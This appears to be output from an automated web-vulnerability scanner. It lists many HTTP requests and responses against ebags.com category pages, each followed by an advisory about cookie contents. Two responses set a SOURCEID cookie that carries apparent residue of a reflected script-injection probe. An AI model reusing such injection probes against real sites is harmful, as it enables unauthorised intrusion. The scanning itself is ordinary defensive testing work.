GET /category/backpack-handbags/20036676 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:49 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:49 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 111929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/clutches/20036679 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:20 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:20 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 120095
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/clutches/20048616 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:44 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:44 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 95952
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/cross-body-bags/20037212 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:00 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:00 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 116072
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/handbags/10014 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:07 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:07 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 117488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/handbags/10014/h/sale HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:57 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:57 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 118388
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/hobos/20036674 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:01 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:01 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 113957
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech. ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /category/hobos/20048614 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:06 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:06 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 106047
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/backpacks HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:03 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:03 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 72488
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/business-and-laptop HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:04 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:04 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76289
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/designer-handbags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:55 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822CB96B272DALERT281292D27C04ABDB9AA2; expires=Sun, 02-Jan-2011 14:04:55 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 58408
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/handbags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:55 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822CB96B272DALERT281292D27C04ABDB9AA2; expires=Sun, 02-Jan-2011 14:04:55 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 71524
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/kids-and-baby HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:39 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:39 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 65068
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /department/luggage HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:01 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:01 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 73000
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
